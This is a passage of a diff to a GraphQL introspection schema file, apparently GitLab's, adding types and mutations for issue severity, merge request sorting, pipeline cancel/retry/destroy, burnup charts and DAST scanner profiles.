+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "severity",
+ "description": "Set the incident severity level.",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "IssuableSeverity",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "IssueSetSeverityPayload",
+ "description": "Autogenerated return type of IssueSetSeverity",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "issue",
+ "description": "The issue after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Issue",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
"name": "IssueSetSubscriptionInput",
"description": "Autogenerated input type of IssueSetSubscription",
"fields": null,
@@ -21335,7 +23989,7 @@
{
"kind": "OBJECT",
"name": "IssueStatusCountsType",
- "description": "Represents total number of issues for the represented statuses.",
+ "description": "Represents total number of issues for the represented statuses",
"fields": [
{
"name": "all",
@@ -21406,6 +24060,12 @@
"description": "Incident issue type",
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "TEST_CASE",
+ "description": "Test Case issue type",
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"possibleTypes": null
@@ -21413,9 +24073,31 @@
{
"kind": "OBJECT",
"name": "Iteration",
- "description": "Represents an iteration object.",
+ "description": "Represents an iteration object",
"fields": [
{
+ "name": "burnupTimeSeries",
+ "description": "Daily scope and completed totals for burnup charts",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "BurnupChartDailyTotals",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "createdAt",
"description": "Timestamp of iteration creation",
"args": [
@@ -21646,7 +24328,11 @@
],
"inputFields": null,
"interfaces": [
-
+ {
+ "kind": "INTERFACE",
+ "name": "TimeboxBurnupTimeSeriesInterface",
+ "ofType": null
+ }
],
"enumValues": null,
"possibleTypes": null
@@ -22659,7 +25345,7 @@
},
{
"name": "jiraAccountId",
- "description": "Account id of the Jira user",
+ "description": "Account ID of the Jira user",
"args": [
],
@@ -23117,6 +25803,53 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "MeasurementIdentifier",
+ "description": "Possible identifier types for a measurement",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "PROJECTS",
+ "description": "Project count",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "USERS",
+ "description": "User count",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "ISSUES",
+ "description": "Issue count",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "MERGE_REQUESTS",
+ "description": "Merge request count",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "GROUPS",
+ "description": "Group count",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "PIPELINES",
+ "description": "Pipeline count",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "INTERFACE",
"name": "MemberInterface",
"description": null,
@@ -23178,6 +25911,24 @@
"deprecationReason": null
},
{
+ "name": "id",
+ "description": "ID of the member",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "updatedAt",
"description": "Date and time the membership was last updated",
"args": [
@@ -23190,6 +25941,24 @@
},
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "user",
+ "description": "User that is associated with the member object",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "User",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"inputFields": null,
@@ -23210,6 +25979,118 @@
},
{
"kind": "OBJECT",
+ "name": "MemberInterfaceConnection",
+ "description": "The connection type for MemberInterface.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "MemberInterfaceEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "INTERFACE",
+ "name": "MemberInterface",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "MemberInterfaceEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "INTERFACE",
+ "name": "MemberInterface",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "MergeRequest",
"description": null,
"fields": [
@@ -23228,6 +26109,52 @@
"deprecationReason": null
},
{
+ "name": "approvalsLeft",
+ "description": "Number of approvals left",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "approvalsRequired",
+ "description": "Number of approvals required",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "approved",
+ "description": "Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "approvedBy",
"description": "Users who approved the merge request",
"args": [
@@ -23348,6 +26275,24 @@
"deprecationReason": null
},
{
+ "name": "autoMergeEnabled",
+ "description": "Indicates if auto merge is enabled for the merge request",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "commitCount",
"description": "Number of commits in the merge request",
"args": [
@@ -23362,6 +26307,24 @@
"deprecationReason": null
},
{
+ "name": "conflicts",
+ "description": "Indicates if the merge request has conflicts",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "createdAt",
"description": "Timestamp of when the merge request was created",
"args": [
@@ -23380,6 +26343,73 @@
"deprecationReason": null
},
{
+ "name": "currentUserTodos",
+ "description": "Todos for the current user",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "State of the todos",
+ "type": {
+ "kind": "ENUM",
+ "name": "TodoStateEnum",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TodoConnection",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "defaultMergeCommitMessage",
"description": "Default merge commit message of the merge request",
"args": [
@@ -24034,13 +27064,9 @@
}
],
"type": {
- "kind": "NON_NULL",
- "name": null,
- "ofType": {
- "kind": "OBJECT",
- "name": "PipelineConnection",
- "ofType": null
- }
+ "kind": "OBJECT",
+ "name": "PipelineConnection",
+ "ofType": null
},
"isDeprecated": false,
"deprecationReason": null
@@ -24537,6 +27563,11 @@
"kind": "INTERFACE",
"name": "Noteable",
"ofType": null
+ },
+ {
+ "kind": "INTERFACE",
+ "name": "CurrentUserTodos",
+ "ofType": null
}
],
"enumValues": null,
@@ -24868,6 +27899,24 @@
"deprecationReason": null
},
{
+ "name": "canMerge",
+ "description": "Indicates the user can perform `can_merge` on this resource",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "cherryPickOnCurrentMergeRequest",
"description": "Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource",
"args": [
@@ -25815,6 +28864,89 @@
},
{
"kind": "ENUM",
+ "name": "MergeRequestSort",
+ "description": "Values for sorting merge requests",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "updated_desc",
+ "description": "Updated at descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "updated_asc",
+ "description": "Updated at ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "created_desc",
+ "description": "Created at descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "created_asc",
+ "description": "Created at ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "PRIORITY_ASC",
+ "description": "Priority by ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "PRIORITY_DESC",
+ "description": "Priority by descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LABEL_PRIORITY_ASC",
+ "description": "Label priority by ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "LABEL_PRIORITY_DESC",
+ "description": "Label priority by descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "MILESTONE_DUE_ASC",
+ "description": "Milestone due date by ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "MILESTONE_DUE_DESC",
+ "description": "Milestone due date by descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "MERGED_AT_ASC",
+ "description": "Merge time by ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "MERGED_AT_DESC",
+ "description": "Merge time by descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
+ "kind": "ENUM",
"name": "MergeRequestState",
"description": "State of a GitLab merge request",
"fields": null,
@@ -26377,9 +29509,31 @@
{
"kind": "OBJECT",
"name": "Milestone",
- "description": "Represents a milestone.",
+ "description": "Represents a milestone",
"fields": [
{
+ "name": "burnupTimeSeries",
+ "description": "Daily scope and completed totals for burnup charts",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "BurnupChartDailyTotals",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "createdAt",
"description": "Timestamp of milestone creation",
"args": [
@@ -26600,7 +29754,11 @@
],
"inputFields": null,
"interfaces": [
-
+ {
+ "kind": "INTERFACE",
+ "name": "TimeboxBurnupTimeSeriesInterface",
+ "ofType": null
+ }
],
"enumValues": null,
"possibleTypes": null
@@ -27090,6 +30248,87 @@
"deprecationReason": null
},
{
+ "name": "clusterAgentDelete",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "ClusterAgentDeleteInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentDeletePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "clusterAgentTokenCreate",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "ClusterAgentTokenCreateInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenCreatePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "clusterAgentTokenDelete",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "ClusterAgentTokenDeleteInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentTokenDeletePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "commitCreate",
"description": null,
"args": [
@@ -27441,6 +30680,33 @@
"deprecationReason": null
},
{
+ "name": "createTestCase",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "CreateTestCaseInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "CreateTestCasePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "dastOnDemandScanCreate",
"description": null,
"args": [
@@ -27495,6 +30761,60 @@
"deprecationReason": null
},
{
+ "name": "dastScannerProfileDelete",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "DastScannerProfileDeleteInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DastScannerProfileDeletePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "dastScannerProfileUpdate",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "DastScannerProfileUpdateInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DastScannerProfileUpdatePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "dastSiteProfileCreate",
"description": null,
"args": [
@@ -27684,6 +31004,33 @@
"deprecationReason": null
},
{
+ "name": "destroyBoard",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "DestroyBoardInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DestroyBoardPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "destroyNote",
"description": null,
"args": [
@@ -28062,6 +31409,33 @@
"deprecationReason": null
},
{
+ "name": "issueSetSeverity",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "IssueSetSeverityInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "IssueSetSeverityPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "issueSetSubscription",
"description": null,
"args": [
@@ -28440,6 +31814,87 @@
"deprecationReason": null
},
{
+ "name": "pipelineCancel",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "PipelineCancelInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "PipelineCancelPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pipelineDestroy",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "PipelineDestroyInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "PipelineDestroyPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pipelineRetry",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "PipelineRetryInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "PipelineRetryPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "removeAwardEmoji",
"description": null,
"args": [
@@ -28517,8 +31972,8 @@
"name": "RunDASTScanPayload",
"ofType": null
},
- "isDeprecated": false,
- "deprecationReason": null
+ "isDeprecated": true,
+ "deprecationReason": "Use DastOnDemandScanCreate. Deprecated in 13.4"
},
{
"name": "todoMarkDone",
@@ -28951,6 +32406,33 @@
},
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "vulnerabilityResolve",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "VulnerabilityResolveInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityResolvePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"inputFields": null,
@@ -28963,7 +32445,7 @@
{
"kind": "ENUM",
"name": "MutationOperationMode",
- "description": "Different toggles for changing mutator behavior.",
+ "description": "Different toggles for changing mutator behavior",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -29159,6 +32641,26 @@
"defaultValue": "false"
},
{
+ "name": "search",
+ "description": "Search project with most similar names or paths",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": "null"
+ },
+ {
+ "name": "sort",
+ "description": "Sort projects by this criteria",
+ "type": {
+ "kind": "ENUM",
+ "name": "NamespaceProjectSort",
+ "ofType": null
+ },
+ "defaultValue": "null"
+ },
+ {
"name": "hasVulnerabilities",
"description": "Returns only the projects which have vulnerabilities",
"type": {
@@ -29514,8 +33016,25 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "NamespaceProjectSort",
+ "description": "Values for sorting projects",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "SIMILARITY",
+ "description": "Most similar to the search query",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
- "name": "NegatedBoardEpicIssueInput",
+ "name": "NegatedBoardIssueInput",
"description": null,
"fields": null,
"inputFields": [
@@ -29578,8 +33097,8 @@
"defaultValue": null
},
{
- "name": "epicId",
- "description": "Filter by epic ID",
+ "name": "myReactionEmoji",
+ "description": "Filter by reaction emoji",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -29588,11 +33107,11 @@
"defaultValue": null
},
{
- "name": "myReactionEmoji",
- "description": "Filter by reaction emoji",
+ "name": "epicId",
+ "description": "Filter by epic ID. Incompatible with epicWildcardId",
"type": {
"kind": "SCALAR",
- "name": "String",
+ "name": "ID",
"ofType": null
},
"defaultValue": null
@@ -30796,6 +34315,12 @@
"description": "Packages from the composer package manager",
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "GENERIC",
+ "description": "Packages from the generic package manager",
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"possibleTypes": null
@@ -30897,6 +34422,24 @@
"deprecationReason": null
},
{
+ "name": "cancelable",
+ "description": "Specifies if a pipeline can be canceled",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "committedAt",
"description": "Timestamp of the pipeline's commit",
"args": [
@@ -31039,6 +34582,24 @@
"deprecationReason": null
},
{
+ "name": "retryable",
+ "description": "Specifies if a pipeline can be retried",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "securityReportSummary",
"description": "Vulnerability and scanned resource counts for each security scanner of the pipeline",
"args": [
@@ -31214,6 +34775,94 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "PipelineCancelInput",
+ "description": "Autogenerated input type of PipelineCancel",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The id of the pipeline to mutate",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "CiPipelineID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "PipelineCancelPayload",
+ "description": "Autogenerated return type of PipelineCancel",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "ENUM",
"name": "PipelineConfigSourceEnum",
"description": null,
@@ -31358,6 +35007,94 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "PipelineDestroyInput",
+ "description": "Autogenerated input type of PipelineDestroy",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The id of the pipeline to mutate",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "CiPipelineID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "PipelineDestroyPayload",
+ "description": "Autogenerated return type of PipelineDestroy",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "PipelineEdge",
"description": "An edge in a connection.",
@@ -31470,6 +35207,108 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "PipelineRetryInput",
+ "description": "Autogenerated input type of PipelineRetry",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "The id of the pipeline to mutate",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "CiPipelineID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "PipelineRetryPayload",
+ "description": "Autogenerated return type of PipelineRetry",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
